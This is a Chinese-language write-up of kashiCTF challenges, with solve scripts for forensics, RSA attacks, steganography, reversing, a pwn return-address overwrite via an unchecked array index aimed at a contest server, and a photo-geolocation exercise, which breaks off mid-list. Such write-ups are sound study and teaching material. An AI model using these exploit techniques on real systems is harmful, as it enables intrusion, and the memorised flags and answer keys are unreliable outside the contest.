一次国际比赛的总结

Forensics

Easy Forensics

给了流量包,是dns域名隐藏信息:

隐藏了base32,解码即可

kashiCTF{dns_exfiltration_is_sneaky}

Mid Forensics

先观察整个流量的构成。这份流量里最明显的特点是:

  • 几乎全是 ICMP Echo Request
  • IPv4 的 TTL 只出现了两种值:64 和 65

正常情况下,TTL 虽然常见默认值确实有 64、128、255 等,但在同一份这种单一 ICMP 流量里,只在 64 和 65 之间来回切换 就很可疑了。

这很像经典隐写方式:把某个头字段当成 二进制位 进行编码。

于是自然想到:

  • 64 -> 0
  • 65 -> 1

再按抓包顺序把这些 bit 串起来,还原成字节看是否能得到可读文本。

提取后可以看到:

  • 总共有 266 个 ICMP 包
  • TTL 分布:
  • 64 出现 145 次
  • 65 出现 121 次

将 TTL 映射为二进制:

  • TTL = 64 记为 0
  • TTL = 65 记为 1

按包顺序拼接 bit 串,再每 8 位转成一个字节。

还原后,开头直接得到可读 ASCII:

kashiCTF{ttl_stego_is_evil}

Burnt Ashes

先看镜像是什么:

file kashi_ritual_ledger.img

输出大意:

Linux rev 1.0 ext4 filesystem data, volume name "KASHI_LEDGER"

说明这是一个 ext4 文件系统镜像。

先对整个磁盘做 strings:

strings -a kashi_ritual_ledger.img | less

很快就能看到一堆关键痕迹:

decoy_ledger_a.enc
decoy_ledger_a.txt
decoy_ledger_b.enc
decoy_ledger_b.txt
decoy_ledger_c.enc
decoy_ledger_c.txt
stage2_ledger.enc
stage2_ledger.txt
ritual_words.txt
ritual_index_notes.md
ward_scans
ward-chat-2026-03-11.log
ward-chat-2026-03-14.log
scan_ghat_registry.bmp
scan_river_ledger.bmp

这一步已经说明了很多事:

  • 目录里存在 ward_scans,说明有扫描图/BMP
  • 有 ritual_words.txt,像是候选词表
  • 有 ritual_index_notes.md,像是提示笔记
  • 有聊天记录和邮件残留
  • 有 stage2_ledger.enc / stage2_ledger.txt
  • 还有一堆 decoy_ledger_*,明显是烟雾弹

所以后面就围绕这些关键词继续挖。

继续从 raw strings 里找邮件内容,能看到一封非常关键的自发邮件:

From: ved@ritual-ward.local
To: self@ritual-ward.local
Subject: passphrase doctrine draft
Date: Mon, 11 Mar 2026 08:12:00 +0530

Reminder for all personal lock phrases:
1) Always compose exactly four words.
2) First two words are location labels.
3) Last two words must be animals or objects from ritual_words list.
4) Join with hyphen; no numerals.

这封邮件直接把口令规则写出来了:

  • 口令固定 4 个单词
  • 前两个词是 location labels
  • 后两个词来自 ritual_words.txt
  • 用 - 连接

这时继续找笔记文件残留,又能挖到:

# Ritual Ledger Scratch Notes

- The second lock phrase follows the ward naming rule from the old roster.
- Prefix is fixed from the north alcove labels: ghat manjari ____ ____
- Last two words are always from the curated ritual_words list.
- Never reuse the first lock phrase for final capsule.
- Confirmed: hidden ledger capsule is in one scan that does not open with standard phrase.

这一段非常关键:

  • 第二阶段最终口令遵循同样规则
  • 前缀固定是:ghat manjari
  • 后两词从 ritual_words.txt 里选
  • 不能复用第一阶段口令
  • 真正隐藏的 capsule 在某张 scan 里,而且 不是 standard phrase

也就是:第一阶段口令不是最终答案,最终口令应该是
ghat-manjari-?-?

继续在 strings 里找 ritual_words.txt 残留,能看到词表内容:

ghat
manjari
copper
owl
lotus
mirror
vellum
ashes
lantern
chisel
saffron
knot
census
reed
trunk
prayer

这就给了我们最后两个词的候选池。

接着看聊天记录:

[2026-03-11 22:06] ved: Keep this offline. First lock phrase is: trishul-lantern-braid
[2026-03-11 22:08] tara: only for the decoy capsules?
[2026-03-11 22:09] ved: yes, and decrypt with these if extracted:
[2026-03-11 22:10] ved: AES-256-CBC salt=9a31f4b20d17c8ef
[2026-03-11 22:10] ved: AES-256-CBC key=amber-ledger-lintel
[2026-03-11 22:11] ved: AES-256-CBC iv=43a65f90d4bbcb17850a79c2e36d1f4a
[2026-03-11 22:12] tara: understood, those are for false ledgers and ash manifests.

这一段非常重要,因为它明确说明:

  • trishul-lantern-braid 是 First lock phrase
  • 这一套 AES 参数只用于:
  • false ledgers
  • ash manifests
  • 也就是 假账本/诱饵材料

所以第一阶段配置是 decoy,不能当最终线索。

继续找更深的残留,镜像里直接能扫出一段 JSON:

{
  "generated_at": "2026-03-26T10:21:40.662492Z",
  "user": "pandit_ved",
  "stage2_phrase": "ghat-manjari-copper-owl",
  "stage1": {
    "steg_passphrase": "trishul-lantern-braid",
    "aes": {
      "salt": "9a31f4b20d17c8ef",
      "key": "amber-ledger-lintel",
      "iv": "43a65f90d4bbcb17850a79c2e36d1f4a"
    }
  },
  "stage2": {
    "steg_words": [
      "ghat",
      "manjari",
      "copper",
      "owl"
    ],
    "aes": {
      "salt": "d83f0a1e5bc94762",
      "key": "river-ink-oblation",
      "iv": "7f01ea25d6c59f4b38e4d0b451ccae12"
    }
  }
}

这段 JSON 直接把整题答案链爆出来了:

ghat-manjari-copper-owl

完全符合前面的规则:

  • 前两个固定:ghat manjari
  • 后两个来自词表:copper owl
  • salt = d83f0a1e5bc94762
  • key = river-ink-oblation
  • iv = 7f01ea25d6c59f4b38e4d0b451ccae12

这也能解释题目所说的“layered steganography and encryption workflows”:

  • 图片里藏东西(stego)
  • 提取后再 AES 解密

另一段聊天也佐证了这一点:

[2026-03-14 00:18] tara: did you reuse trishul-lantern-braid on the final capsule?
[2026-03-14 00:19] ved: no. final one follows my passphrase doctrine from mail, and starts with north alcove pair.
[2026-03-14 00:21] tara: then brute-force will still be feasible if someone gets your word list.
[2026-03-14 00:22] ved: only two words unknown if they read notes carefully.

这段话和前面完全对应:

  • 最终口令不复用 trishul-lantern-braid
  • 最终口令以 north alcove pair 开头
  • 如果拿到词表和笔记,只剩两个词未知
  • 最后其实就能锁定为 ghat-manjari-copper-owl

虽然按设计应该要走“图片隐写 -> 提取密文 -> AES 解密 -> 明文”的流程, 但磁盘镜像的未覆盖块里直接残留了最终明文:

Hidden Ledger Capsule
====================

Reconstructed transfer note, sealed for tribunal audit.
Flag: kashiCTF{ledger_ashes_remember_every_ritual}

Custodian phrase seed: ghat manjari

kashiCTF{ledger_ashes_remember_every_ritual}

Slavery

这题给的是一本 1892 年的梵文扫描书 PDF。直觉上很容易先去尝试 OCR、全文搜索或直接翻页,但这类老扫描件的噪声很重,而且隐藏信息未必在正文文字层里。更稳的思路是:先判断 PDF 到底是“文本为主”还是“图像为主”,如果是图像型 PDF,就优先抽取其中所有嵌入图像做批量排查。

我实际复现时,直接文本提取几乎拿不到有效正文,因此将目标转为:1)导出 PDF 内所有嵌入图像;2)做 contact sheet(缩略图总览)快速浏览;3)锁定异常页;4)对异常区域进行裁剪、旋转、对比度增强。

用 Poppler 的 pdfimages 把整份 PDF 里的图像全部导出来。我的环境里一共导出了 409 张嵌入图像。这里不要纠结原始 PDF 页数,因为“PDF 页数”和“嵌入图像数量”不是一回事。

pdfimages -j "Mantra Mahodadhi with Nauka Tika ... .pdf" out/img

把导出的图片按编号拼成 contact sheet。这样不用一张张点开看,能很快发现可疑项。排查时重点看:异常灰块、半透明条带、边缘区域的细小英文字符、与正文风格不一致的痕迹。

图 1 269 号附近的缩略图片段。

这一段里 269 号图像最值得怀疑。单独打开后可以看到左侧中部有一条灰色竖条,和正常梵文正文的结构明显不一致。

到这一步其实已经很接近答案了:灰条里能隐约看见一串竖着排布的英文字符,像是把 flag 直接旋转后贴进了页面边缘。

把红框区域单独裁出来,再顺时针旋转 270° 变成横向,最后做灰度化 + 自动拉伸 + 对比度增强,文字就会清楚很多。

图 3 可疑灰条裁剪结果。

图 4 旋转并增强后,可直接读出 flag。

**Flag:**kashiCTF{1r0nhex_1s_n07_4_m4n}

这题本质上不是让你看懂梵文正文,而是逼你放弃“老老实实翻书”的思路,改用批处理图像排查。真正的藏法也不复杂:就是把 flag 做成一条竖向的低存在感条带,贴在某一张扫描页的左边。

这类套路在 Forensics 里很常见,尤其适合用脚本把人工劳动压到最低。

exp:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
kashiCTF Slavery - helper extractor

Usage examples:
  python slavery_exp.py --image page269.png
  python slavery_exp.py --pdf "challenge.pdf"

Notes:
- The PDF mode relies on `pdfimages` (Poppler) to dump all embedded images.
- The extraction logic is based on the recovered suspicious image #269 and
  the hidden vertical strip on its left side.
"""
from __future__ import annotations

import argparse
import math
import os
import shutil
import subprocess
import sys
import tempfile
from pathlib import Path

from PIL import Image, ImageDraw, ImageEnhance, ImageOps

SUSPECT_INDEX = 269
CROP_BOX = (48, 470, 124, 778)  # left, upper, right, lower on page269.png-like image


def build_contact_sheet(image_paths: list[Path], out_path: Path, cols: int = 4,
                        thumb_width: int = 120, margin: int = 18, label_h: int = 20) -> None:
    thumbs = []
    for i, path in enumerate(image_paths, 1):
        img = Image.open(path).convert("RGB")
        ratio = thumb_width / img.width
        thumb_h = int(img.height * ratio)
        thumb = img.resize((thumb_width, thumb_h), Image.Resampling.LANCZOS)
        thumbs.append((i, thumb))

    if not thumbs:
        raise ValueError("No images to place in contact sheet.")

    cell_w = thumb_width + margin * 2
    cell_h = max(t.height for _, t in thumbs) + margin * 2 + label_h
    rows = math.ceil(len(thumbs) / cols)
    canvas = Image.new("RGB", (cols * cell_w, rows * cell_h), "white")
    draw = ImageDraw.Draw(canvas)

    for n, thumb in thumbs:
        idx = n - 1
        row, col = divmod(idx, cols)
        x = col * cell_w + margin
        y = row * cell_h + margin
        canvas.paste(thumb, (x, y))
        draw.text((x, y + thumb.height + 4), str(n), fill=(180, 30, 30))

    canvas.save(out_path, quality=95)


def extract_images_from_pdf(pdf_path: Path, out_dir: Path) -> list[Path]:
    prefix = out_dir / "img"
    cmd = ["pdfimages", "-j", str(pdf_path), str(prefix)]
    try:
        subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    except FileNotFoundError:
        raise RuntimeError("pdfimages not found. Install Poppler or extract the images manually first.")
    except subprocess.CalledProcessError as e:
        raise RuntimeError(f"pdfimages failed: {e.stderr.decode(errors='ignore')}") from e

    files = sorted(out_dir.glob("img-*"))
    image_files = [p for p in files if p.suffix.lower() in {".jpg", ".jpeg", ".png", ".ppm", ".pbm"}]
    if not image_files:
        raise RuntimeError("No images were extracted from the PDF.")
    return image_files


def mark_suspicious_region(page_img: Image.Image) -> Image.Image:
    marked = page_img.convert("RGB").copy()
    draw = ImageDraw.Draw(marked)
    draw.rectangle(CROP_BOX, outline=(220, 0, 0), width=5)
    return marked


def reveal_flag_from_page(page_path: Path, out_dir: Path) -> dict[str, Path]:
    out_dir.mkdir(parents=True, exist_ok=True)

    img = Image.open(page_path).convert("RGB")
    marked = mark_suspicious_region(img)
    marked_path = out_dir / "page269_marked.png"
    marked.save(marked_path)

    crop = img.crop(CROP_BOX)
    crop_path = out_dir / "flag_strip_crop.png"
    crop.save(crop_path)

    rotated = crop.rotate(270, expand=True)
    rotated_big = rotated.resize((rotated.width * 3, rotated.height * 3), Image.Resampling.LANCZOS)
    gray = ImageOps.grayscale(rotated_big)
    gray = ImageOps.autocontrast(gray, cutoff=1)
    enhanced = ImageEnhance.Contrast(gray).enhance(2.8)
    enhanced_path = out_dir / "flag_revealed.png"
    enhanced.save(enhanced_path)

    return {
        "marked": marked_path,
        "crop": crop_path,
        "revealed": enhanced_path,
    }


def main() -> int:
    parser = argparse.ArgumentParser(description="Recover the hidden flag from the Slavery challenge.")
    parser.add_argument("--pdf", type=Path, help="Original PDF challenge file.")
    parser.add_argument("--image", type=Path, help="Already extracted suspicious page image (page269.png).")
    parser.add_argument("--out", type=Path, default=Path("slavery_out"), help="Output directory.")
    args = parser.parse_args()

    if not args.pdf and not args.image:
        parser.error("Provide either --pdf or --image")

    args.out.mkdir(parents=True, exist_ok=True)

    if args.pdf:
        with tempfile.TemporaryDirectory() as tmp:
            tmp_dir = Path(tmp)
            images = extract_images_from_pdf(args.pdf, tmp_dir)
            contact_sheet = args.out / "contact_sheet.jpg"
            build_contact_sheet(images, contact_sheet)
            print(f"[+] extracted {len(images)} images")
            print(f"[+] contact sheet saved to: {contact_sheet}")

            if len(images) < SUSPECT_INDEX:
                raise RuntimeError(f"Need at least {SUSPECT_INDEX} extracted images, got {len(images)}")

            suspect = images[SUSPECT_INDEX - 1]
            suspect_copy = args.out / f"page{SUSPECT_INDEX}{suspect.suffix.lower()}"
            shutil.copy2(suspect, suspect_copy)
            print(f"[+] suspicious image #{SUSPECT_INDEX}: {suspect_copy}")
            result = reveal_flag_from_page(suspect_copy, args.out)
    else:
        result = reveal_flag_from_page(args.image, args.out)

    print(f"[+] marked page:   {result['marked']}")
    print(f"[+] strip crop:    {result['crop']}")
    print(f"[+] revealed flag: {result['revealed']}")
    print("[+] flag should read: kashiCTF{1r0nhex_1s_n07_4_m4n}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Cryptography

Ancient Mystery

很简单的签到题,64次base64即可

kashiCTF{th3_s3cr3t_0f_mah4bh4r4t4_fr0m_3136_BCE}

Broadcast

这题是 Håstad broadcast attack(RSA 广播攻击)。

题目里给了同一个明文发送给 3 个接收者,每个接收者模数不同,但公钥指数都很小:e = 3。文件里明确写了 e = 3,并给出了三组 (n, c)。

直接算出来的明文是:

kashiCTF{h4st4d_s4ys_sm4ll_3xp0n3nts_k1ll_RSA_br04dc4sts}

可复现的 exp 如下:

# Broadcast / Hastad attack
n1 = 21274968818784086069898277456422134642440968545233131389435288641666530988823498656148545522833936917181341265043519636474552441680382784008994974437884182979370824423286821850208408275729777093580722415437842648897500982547688174942274518613351892264948846075702711989217573662818107746882295210325342723721542920844527416232663367841387183014022241068593520384699149200289714604298327378380324101231604137484202488414079937364393815249594086798570617733819467707158594546467653219775005107622115368953383016994578630082214426054864339731765941021829484548164124343320172763800360479790690886066110135937948570303539
c1 = 475436441896018898725156479190091126537849994697426945980826369000641892902004477923335055269088235139492237640527487698088281484953901383579636883543216552932099156009006828723690550706326538736801225046068870773990108130474408522838234755277972911893744937243892927414355347438993698991261629557719442242861719577879055371620865465785392597257968132649494474946507819896785671106833645551504301840437212737125

n2 = 13820106052667880325527205714197601665897998633569214162291525231184676026573904403300713215456986459121567577160155573270484559420597639436782098121161120204476744998227919405642387359237624107535819037901055438742230467459907059351110579513903351078130527018195634687434163711630714911762154689910676478562549628036280843029129687979603012495402373826971898565328513591739732502989596497234955093544678129122041289619136410411321253156044715620327971790199906617832224463856985026600519885355934114271383160621115174600614925832360642832938205381676644906075541097590638316989293122312533597404156053244848819384737
c2 = 475436441896018898725156479190091126537849994697426945980826369000641892902004477923335055269088235139492237640527487698088281484953901383579636883543216552932099156009006828723690550706326538736801225046068870773990108130474408522838234755277972911893744937243892927414355347438993698991261629557719442242861719577879055371620865465785392597257968132649494474946507819896785671106833645551504301840437212737125

n3 = 9279409972498426444230128410107389468075198290473854501286265650330762322874213104617164083595341239206761812713097388885749408286737337757340042261483015060055390526910234961481579065228859057433467730843271012792204401811134832359427454890107995657749642328946978427779282095716750806508203915359354986807937001238481470149127378260735257853790995770144905576279357070871600754324253186385763053816206521382629844309313357456470934893938517218965814262598237475171614174260684064846624139637861386555270428299701679424789335274334410322678015633165105196711842262070060018933827517286617582659683633081849410313123
c3 = 475436441896018898725156479190091126537849994697426945980826369000641892902004477923335055269088235139492237640527487698088281484953901383579636883543216552932099156009006828723690550706326538736801225046068870773990108130474408522838234755277972911893744937243892927414355347438993698991261629557719442242861719577879055371620865465785392597257968132649494474946507819896785671106833645551504301840437212737125

def crt(residues, moduli):
    N = 1
    for m in moduli:
        N *= m
    x = 0
    for a, m in zip(residues, moduli):
        Ni = N // m
        inv = pow(Ni, -1, m)
        x += a * Ni * inv
    return x % N

def iroot3(n):
    lo, hi = 0, 1
    while hi**3 <= n:
        hi *= 2
    while lo + 1 < hi:
        mid = (lo + hi) // 2
        if mid**3 <= n:
            lo = mid
        else:
            hi = mid
    return lo

x = crt([c1, c2, c3], [n1, n2, n3])   # x = m^3
m = iroot3(x)
flag = m.to_bytes((m.bit_length() + 7) // 8, "big")
print(flag.decode())

核心思路就是:

  1. 用 CRT 合并三组同明文密文,恢复出 m^3。
  2. 因为是广播攻击场景,明文三次方没有绕模,所以直接对结果开整数立方根。
  3. 转字节得到 flag。

Efficient

RSA近素数

exp:

import re
import math
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

with open("output.txt", "r", encoding="utf-8", errors="ignore") as f:
    data = f.read()

n = int(re.search(r"n\s+=\s+0x([0-9a-fA-F]+)", data).group(1), 16)
e = int(re.search(r"e\s+=\s+(\d+)", data).group(1))
ct_b64 = re.search(r"ct\s+=\s+([A-Za-z0-9+/=]+)", data).group(1)
iv_b64 = re.search(r"iv\s+=\s+([A-Za-z0-9+/=]+)", data).group(1)
flag_ct_b64 = re.search(r"flag_ct\s+=\s+([A-Za-z0-9+/=]+)", data).group(1)

# 1. 发现 n = p^2
p = math.isqrt(n)
assert p * p == n

# 2. 计算 phi(n) = phi(p^2) = p * (p - 1)
phi = p * (p - 1)

# 3. 求私钥 d
d = pow(e, -1, phi)

# 4. RSA 解密 ct
ct = int.from_bytes(base64.b64decode(ct_b64), "big")
m = pow(ct, d, n)

# 5. 转成定长字节串,取最后 16 字节作为 AES key
klen = (n.bit_length() + 7) // 8
m_bytes = m.to_bytes(klen, "big")
key = m_bytes[-16:]

print("[+] AES key =", key.hex())

# 6. AES-CBC 解密 flag_ct
iv = base64.b64decode(iv_b64)
flag_ct = base64.b64decode(flag_ct_b64)

cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
pt = decryptor.update(flag_ct) + decryptor.finalize()

# 去掉 PKCS#7 padding
pad = pt[-1]
flag = pt[:-pad]

print("[+] flag =", flag.decode())

kashiCTF{wh3n_0n3_pr1m3_1s_n0t_3n0ugh_p_squared_1s_w0rs3}

Misc

Sanity

discord签到

kashiCTF{this_was_not_hard}

Sanity 1

robots.txt即可

POEM

简单的雪花隐写

kashiCTF{1_like_poems_but_1_lik3_u_more<3}

Conquer

打开文件前几个字节可以看到:

P6
284 150
255

这不是 PDF 的头(PDF 应该是 %PDF- 开头),而是 PPM 图像格式中的 P6 类型。

也就是说:

  • 文件名叫 flag.pdf
  • 但实际上它是一个 PPM 图片

PPM P6 格式头部含义如下:

  • P6:二进制 RGB 图像
  • 284 150:宽高
  • 255:颜色最大值
  • 后面就是原始 RGB 像素数据,每个像素占 3 字节

如果图片真的是 284 × 150,那么像素数据长度应该是:

284 × 150 × 3 = 127800

但实际文件大小对不上。

实际计算:

  • 文件总大小:157635 字节
  • 文件头长度:15 字节
  • 像素数据长度:157635 - 15 = 157620

换算像素数:

157620 / 3 = 52540

再除以宽度 284:

52540 / 284 = 185

这说明真实高度应该是:

185

而不是头里写的 150。

所以这题真正的坑点是:PPM 文件头中的高度被故意写错了

把头部里的:

284 150

改成:

284 185

再打开图片,就会发现底部原本“消失”的内容被显示出来,flag 就藏在新增显示出来的区域里。

kashiCTF{iLOVEkashi}

Impossible CP

这题题面说查询只能选 1 ≤ i ≤ n-1,目标是求最后一个元素 A_n,而且这个版本还把原题改成了“不保证是排列” 。原版 CF 2156D 的正常做法依赖“已知元素集合就是 1..n”这一点来逐位缩小候选集;编辑解也明确是按位统计并不断 halving。

但这个 checker 实际上没有拦住 i = n。所以可以直接问:

  • ? n 1
  • ? n 2
  • ? n 4
  • ...
  • ? n (1<<31)

返回 0 说明该位为 0,返回 1 说明该位为 1。32 次查询直接把 A_n 全部抠出来,然后 ! ans 即可。

exp:

from pwn import *
import re

HOST = "34.126.223.46"
PORT = 19442

context.log_level = "info"
context.timeout = 5

def recv_nonempty_line(io):
    while True:
        line = io.recvline(timeout=5)
        if not line:
            raise EOFError("connection closed")
        s = line.decode(errors="ignore").strip()
        if s != "":
            return s

def main():
    io = remote(HOST, PORT)

    # 第一行是 t
    t = int(recv_nonempty_line(io))
    log.info(f"t = {t}")

    answers = []

    for tc in range(1, t + 1):
        # 每组先给 n
        n = int(recv_nonempty_line(io))
        log.info(f"[case {tc}] n = {n}")

        ans = 0
        for k in range(32):
            mask = 1 << k
            io.sendline(f"? {n} {mask}".encode())

            res = int(recv_nonempty_line(io))
            if res == 1:
                ans |= mask

        answers.append(ans)
        log.success(f"[case {tc}] recovered A_n = {ans}")

        io.sendline(f"! {ans}".encode())

    # 把后续输出都收出来,通常 flag 会在这里
    rest = io.recvall(timeout=3).decode(errors="ignore")
    print(rest)

    # 尝试从输出里捞 flag
    m = re.search(r'([A-Za-z0-9_{}\-]{6,})', rest)
    if m:
        log.info(f"possible token/flag: {m.group(1)}")

if __name__ == "__main__":
    main()

kashiCTF{d8b4ea850c6d4d34f74f66f60efd2904e0WKz30Pmp}}

Reverse

Ghaat_MIrage

先看文件类型:

file prog

可以看到它是一个 ELF 可执行文件,而且带有明显的打包痕迹。再跑一下字符串:

strings -a prog | grep -Ei 'UPX|kashi|memfd|shm|proc/self'

能看到类似内容:

UPX!4
/proc/self/ex
/dev/shm
...
kashi
...
fr4ke_g4ng4_0ffering_lol
...

这里已经有两个重要信息:

  1. 程序被 UPX 打包过
  2. 里面混着看起来像 flag 的字符串

题目已经提醒了有 decoy flag,所以这里不能直接信。

直接执行程序:

./prog aaa

输出是:

[JAI KASHI] Flag: kashi{fr4ke_g4ng4_0ffering_lol}

表面上像已经出 flag 了,但这是假的。因为题面已经明确说了:

the binary may include decoy flags这二元制可能包含诱饵旗帜

也就是说,程序会故意对错误输入打印一个像真的 flag,这是专门用来坑只会“运行一下看看输出”的人的。

所以这一步可以确认:

  • kashi{fr4ke_g4ng4_0ffering_lol} 是 假 flag
  • 必须继续找 真正的校验路径

逆到真实 validator 后,可以整理出它的核心检查条件:

  1. 输入长度必须是 32
len(input) == 32
  1. 前 9 个字符要过一个 FNV-1a 条件

程序对 input[:9] 做了 FNV-1a 32-bit,然后要求:

fnv1a(input[:9]) % 251 == 9
  1. 全串按下标 % 4 分成 4 组分别做 rolling hash

也就是把第 0、4、8、12... 位当成一组;
第 1、5、9、13... 位当成一组;
第 2、6、10、14... 位当成一组;
第 3、7、11、15... 位当成一组。

每组都用下面的方式累积:

acc = acc * 0x83 + ch

并且按 32 位无符号整数截断。

4 组最后要分别等于:

0x6d4b8b11
0x1544fdb8
0x6442ef55
0x6b31a222

下面是我整理出的验证脚本,和程序真实校验一致:

def fnv1a32(data: bytes) -> int:
    h = 0x811c9dc5
    for b in data:
        h ^= b
        h = (h * 0x01000193) & 0xffffffff
    return h

def check(s: str) -> bool:
    if len(s) != 32:
        return False

    if fnv1a32(s[:9].encode()) % 251 != 9:
        return False

    targets = [
        0x6d4b8b11,
        0x1544fdb8,
        0x6442ef55,
        0x6b31a222,
    ]

    for r in range(4):
        acc = 0
        for i, ch in enumerate(s):
            if i % 4 == r:
                acc = (acc * 0x83 + ord(ch)) & 0xffffffff
        if acc != targets[r]:
            return False

    return True

flag = "kashi{Gh4t5_0f_K4sh1_Never_Di35}"
print(check(flag))

运行结果:

True

真实可过校验的输入为:

kashi{Gh4t5_0f_K4sh1_Never_Di35}

拿它直接喂给程序:

./prog 'kashi{Gh4t5_0f_K4sh1_Never_Di35}'

输出:

[JAI KASHI] Flag: kashi{Gh4t5_0f_K4sh1_Never_Di35}

说明这才是真正的 validator path。

MUSIC-for_Life

对二进制做反汇编后,可以看到核心逻辑:

  1. 每个字符对应一个固定频率

程序里有这样一段计算:

freq = ((ch ^ 0xA5) + 0x11) * 9 + 500;

也就是:

  • 先把字符 ch 和 0xA5 异或
  • 再加 0x11
  • 再乘 9
  • 最后加 500

于是每个字符都会映射成一个唯一频率。

  1. 每个字符持续 0.12 秒

程序中写采样点的循环是:

  • 采样率:44100 Hz
  • 每字符样本数:0x14ac = 5292

所以单个字符时长是:

5292 / 44100 = 0.12 秒

这意味着整段音频其实就是:每 0.12 秒一个字符的单频正弦波拼接起来

  1. 实际生成波形

程序按下面方式生成每个采样点:

sample = sin(2 * pi * freq * i / 44100) * 28000;

所以只要对每个 0.12 秒片段做频谱分析,找到主频,就能反推出原字符。

exp:

import wave
import numpy as np

WAV_FILE = "下载.wav"
SAMPLE_RATE = 44100
CHAR_DURATION = 0.12
SEG_LEN = int(SAMPLE_RATE * CHAR_DURATION)   # 5292

def char_to_freq(ch: int) -> int:
    return (((ch ^ 0xA5) + 0x11) & 0xff) * 9 + 500

# 预先建立 printable ASCII 的频率表
freq_map = {chr(i): char_to_freq(i) for i in range(32, 127)}

with wave.open(WAV_FILE, "rb") as w:
    nframes = w.getnframes()
    framerate = w.getframerate()
    audio = np.frombuffer(w.readframes(nframes), dtype=np.int16)

assert framerate == SAMPLE_RATE

freqs = np.fft.rfftfreq(SEG_LEN, d=1 / SAMPLE_RATE)

result = []

for i in range(0, len(audio), SEG_LEN):
    seg = audio[i:i + SEG_LEN]
    if len(seg) < SEG_LEN:
        break

    # 加窗减少频谱泄漏
    windowed = seg * np.hanning(len(seg))
    spectrum = np.abs(np.fft.rfft(windowed))

    # 跳过直流分量,从主峰找频率
    peak_idx = np.argmax(spectrum[1:]) + 1
    peak_freq = freqs[peak_idx]

    # 找最接近该频率的字符
    best_char = min(freq_map, key=lambda c: abs(freq_map[c] - peak_freq))
    result.append(best_char)

flag = "".join(result)
print(flag)

kashiCTF{MUSIC_VIBES_but_all_1_w4nt_15_a_MDrOrq}

Pwn

Addrs hold the key

题目描述里那句 “Do you even know what ret is?” 已经很明显在暗示:

  • 这题核心是 返回地址(return address)
  • 目标大概率是通过某种越界,把函数返回地址改掉
  • 然后让程序 ret 到某个隐藏函数,比如 print_flag

先看程序主逻辑,main 的关键部分反汇编如下:

401238 <main>:
  push   rbp
  mov    rsp,rbp
  sub    $0x40,rsp

  ...
  lea    -0x38(%rbp),%rax     ; scanf 到一个整型,表示修改次数
  ...
  movl   $0x0,-0x4(%rbp)      ; i = 0

loop:
  ...
  lea    -0x34(%rbp),%rax     ; scanf 到 idx
  ...
  mov    -0x34(%rbp),%edx     ; edx = idx
  lea    -0x30(%rbp),%rax     ; arr 基址
  movslq %edx,%rdx
  shl    $0x2,%rdx            ; idx * 4
  add    %rdx,%rax            ; &arr[idx]
  mov    %rax,%rsi
  ...
  scanf("%d", &arr[idx])      ; 直接写进去

可以看出来程序大概等价于:

int arr[10];
int times;
int idx;
int i = 0;

scanf("%d", &times);

while (i < times) {
    scanf("%d", &idx);
    scanf("%d", &arr[idx]);
    i++;
}

问题在于:

程序没有检查 idx 的范围。

也就是说,虽然数组可能只有 10 个元素,但你完全可以输入更大的索引,造成 越界写。

从反汇编可以直接读出变量位置:

  • times 在 rbp-0x38
  • idx 在 rbp-0x34
  • arr 基址在 rbp-0x30

而函数返回地址在:

  • rbp+0x8

所以我们只要计算:

ret_addr - arr_base
= (rbp+0x8) - (rbp-0x30)
= 0x38
= 56 bytes

数组元素是 int,每个 4 字节,所以:

56 / 4 = 14

因此:

  • arr[14] 对应 返回地址低 4 字节
  • arr[15] 对应 返回地址高 4 字节

这题的利用点就出来了。

程序里有一个隐藏函数:

print_flag = 0x4011c9

而且这个 ELF 是 No PIE,所以代码段地址固定,远程本地一致。

因此只要把 main 的返回地址改成:

0x00000000004011c9

即可。

拆成 64 位地址的高低两部分:

  • 低 4 字节:0x004011c9
  • 高 4 字节:0x00000000

对应写入:

  • arr[14] = 0x4011c9
  • arr[15] = 0

当 main 执行到 ret 时,就会跳转到 print_flag(),然后输出 flag。

程序会先问你要修改多少次,所以我们只需要改两次:

  1. 第一次写 idx = 14,把返回地址低 4 字节改成 print_flag
  2. 第二次写 idx = 15,把返回地址高 4 字节改成 0

最后 main 正常结束,执行 leave; ret,控制流进入 print_flag()。

exp

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'

HOST = '34.126.223.46'
PORT = 19026

PRINT_FLAG = 0x4011c9

def write_int(io, idx, val):
    io.sendlineafter(b'Index: \n', str(idx).encode())
    io.sendlineafter(b'Value: \n', str(val).encode())

def main():
    io = remote(HOST, PORT)

    # 只需要修改两次
    io.sendlineafter(b'How many times you want to change the array\n', b'2')

    # 覆盖 main 的返回地址
    write_int(io, 14, PRINT_FLAG & 0xffffffff)          # 低 4 字节
    write_int(io, 15, (PRINT_FLAG >> 32) & 0xffffffff)  # 高 4 字节,实际上是 0

    io.interactive()

if __name__ == '__main__':
    main()

kashiCTF{made_u_return_lol_KrIl8mCTrH}}

Osint

A Trip So peaceful

题目给了两张旅行照片,要求根据照片内容还原出拍摄者所住的酒店名称。

这题本质上是一个 地理定位 / 图片溯源 题。

题目只给了两张图:

  1. 一张从房间窗户拍出去的照片,能看到寺庙尖塔
  2. 一张街景图,能看到沿街店铺招牌

解题关键就是:

  • 先通过第二张图确定大概区域
  • 再结合第一张图的窗外视角,反推具体酒店

第二张图里最有价值的信息不是建筑本身,而是店招。

能直接看到这些明显文字:

  • TAO BAO
  • ROYAL
  • CHEMIST & DRUGGIST
  • जन औषधि(Jan Aushadhi,印度常见平价药房体系)

其中最醒目、最适合检索的是:

TAO BAO

这类独特店名比“药店”“服装店”更容易在地图里定位。

所以这一步的做法就是:

  • 把图中可见招牌逐个读出来
  • 优先拿 TAO BAO 去地图搜
  • 找到对应街区后,再看周边是否存在酒店和寺庙

通过 TAO BAO 这个店名,可以把位置缩到 Varanasi(瓦拉纳西) 的一片具体街区附近。

这时不用急着找 flag,先观察这条街的特点:

  • 是一条普通城市道路
  • 街边商铺密集
  • 周围有酒店
  • 附近还能看到寺庙建筑

也就是说,第二张图给我们的并不是最终答案,而是一个区域锚点。

第一张图里可以看到几个重要细节:

  • 拍摄点在室内
  • 左边有厚窗帘,说明是酒店/民宿房间概率很高
  • 窗外正对着一组很高的寺庙尖塔(shikhara)
  • 视角距离寺庙非常近,不像远距离拍摄

这说明目标酒店应该满足:

  1. 离第二张图锁定区域不远
